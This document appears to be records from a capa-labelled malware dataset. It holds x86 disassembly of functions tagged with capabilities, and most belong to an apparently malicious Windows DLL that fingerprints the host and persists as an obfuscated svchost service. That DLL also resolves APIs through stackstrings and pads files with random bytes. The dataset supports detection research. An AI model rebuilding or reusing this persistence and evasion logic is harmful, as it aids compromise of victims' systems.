joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c2b0
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push esi
lea eax, [esp + 0x74]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x78], 0x66
mov byte [esp + 0x15a], bl
mov dword [esp + 0x7c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c0], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], 0x100
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c1]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push connect
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c0]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x1001a420
push eax
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c387
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000c39a
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2c8]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x1c0]
lea edi, [esp + 0x124]
mov dword [esp + 0x120], edx
lea eax, [esp + 0x50]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x64]
mov word [esp + 0x114], cx
call fcn.1000c1f0
lea edx, [esp + 0x30]
mov dword [esp + 0x118], eax
push edx
mov dword [esp + 0x34], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
shr eax, 0x14
inc eax
mov dword [esp + 0x11c], eax
call fcn.1000c250
mov ecx, dword [esp + 0x2cc]
lea edx, [esp + 0x74]
mov dword [esp + 0x158], ecx
push 0x14c
push edx
mov ecx, ebx
mov byte [esp + 0x15e], al
call fcn.10002750
pop edi
pop esi
pop ebx
add esp, 0x2b4
ret
Function at 0x1000c8e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x1001aafc]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000c8d0
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x1001aafc]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x1001aafc]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push connect
push connect
push connect
push connect
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x1001ad88
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x1001ad88
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000c880
push 0x1001ad88
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x1001ac44], eax
call fcn.1000c820
push edi
push edi
push 4
call fcn.1000c820
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000de60
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000d720
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10018a90], eax
push edi
push edi
call fcn.1000c5e0
add esp, 8
push 0x3e8
call esi
jmp 0x1000ca25

Function at 0x1000ca40
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000cabf
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000caad
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000caad
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000ca7c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000cad0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x1001ac40], eax
jne 0x1000caeb
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Ud__qf_Lmttv_P_ztmfm_Fmpqmix
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x1001ac3c], eax
jne 0x1000cb24
pop ecx
ret
mov edx, dword [0x1001ac40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x1001ac3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.Todcp__Omqww_Qcwtkbg_Fcq_qkcd
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000cb60
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000cda0
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000ccc0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000cd20
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._QzqqmhSmlv__BhnaMdegoxf
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000ccc0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000cd20
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000d260
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000d32c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._QzqqmhSmlv__BhnaMdegoxf
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000d3c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d4e3
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000d4d8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000d4e3
cmp si, 1
je 0x1000d4e3
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000d4c8
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000d4e3
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000d47d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000d4f0
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000d260
test eax, eax
jne 0x1000d4fe
call fcn.1000cda0
call fcn.1000d3c0
test eax, eax
jne 0x1000d50c
jmp fcn.1000cfa0
ret
Function at 0x1000d510
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000d70a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x1000d6e8
mov edx, edi
and edx, 0x800003ff
jns 0x1000d6ac
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000d6cd
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x1000d6b0
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1000d69a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10018e10]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x15002090
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x150020b8
mov edx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esi + ecx*4]
sub edx, esi
mov esi, dword [edx + eax - 4]
xor dword [eax - 4], esi
sub eax, 4
sub ecx, 1
test ecx, ecx
jne 0x150020a6
pop esi
ret

Function at 0x150121a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x150fcfc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esi
push 2
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 4]
mov dword [esi], 0
mov dword [esi + 4], eax
mov dword [esi + 8], eax
call sym.Core.dll_protected:_void___thiscall_FArray::Realloc_int_
mov dword [ebp - 4], 1
mov eax, dword [esi + 4]
test eax, eax
je 0x150121fb
add eax, eax
push eax
push dword [edi]
push dword [esi]
call fcn.1504c860
add esp, 0xc
mov dword [ebp - 4], 2
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], eax
movups xmm0, xmmword [edi + 0x14]
movups xmmword [esi + 0x14], xmm0
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, dword [edi + 0x40]
mov dword [esi + 0x40], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x15012270
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x150fcff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esi
push 2
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 4]
mov dword [esi], 0
mov dword [esi + 4], eax
mov dword [esi + 8], eax
call sym.Core.dll_protected:_void___thiscall_FArray::Realloc_int_
mov dword [ebp - 4], 1
mov eax, dword [esi + 4]
test eax, eax
je 0x150122cb
add eax, eax
push eax
push dword [edi]
push dword [esi]
call fcn.1504c860
add esp, 0xc
mov dword [ebp - 4], 2
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], eax
movups xmm0, xmmword [edi + 0x14]
movups xmmword [esi + 0x14], xmm0
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, dword [edi + 0x40]
mov dword [esi + 0x40], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x1501cab0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x150fed5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
mov ebx, ecx
mov dword [ebp - 0x10], ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebx], sym.Core.dll_const_FArchive::vftable
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov eax, dword [edi + 8]
mov dword [ebx + 8], eax
mov eax, dword [edi + 0xc]
mov dword [ebx + 0xc], eax
mov eax, dword [edi + 0x10]
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x14]
mov dword [ebx + 0x14], eax
mov eax, dword [edi + 0x18]
mov dword [ebx + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [ebx + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [ebx + 0x20], eax
mov eax, dword [edi + 0x24]
mov dword [ebx + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [ebx + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [ebx + 0x2c], eax
mov eax, dword [edi + 0x30]
mov dword [ebx + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [ebx + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [ebx + 0x38], eax
mov dword [ebp - 4], 0
lea esi, [ebx + 0x3c]
mov dword [ebx], sym.Core.dll_const_FBitWriter::vftable
mov ecx, esi
mov dword [ebp + 8], esi
mov eax, dword [edi + 0x40]
push 1
mov dword [esi], 0
mov dword [esi + 4], eax
mov dword [esi + 8], eax
call sym.Core.dll_protected:_void___thiscall_FArray::Realloc_int_
mov byte [ebp - 4], 1
push dword [esi + 4]
push dword [edi + 0x3c]
push dword [esi]
call fcn.1504c860
add esp, 0xc
mov byte [ebp - 4], 2
mov eax, dword [edi + 0x48]
mov dword [ebx + 0x48], eax
mov eax, dword [edi + 0x4c]
mov dword [ebx + 0x4c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4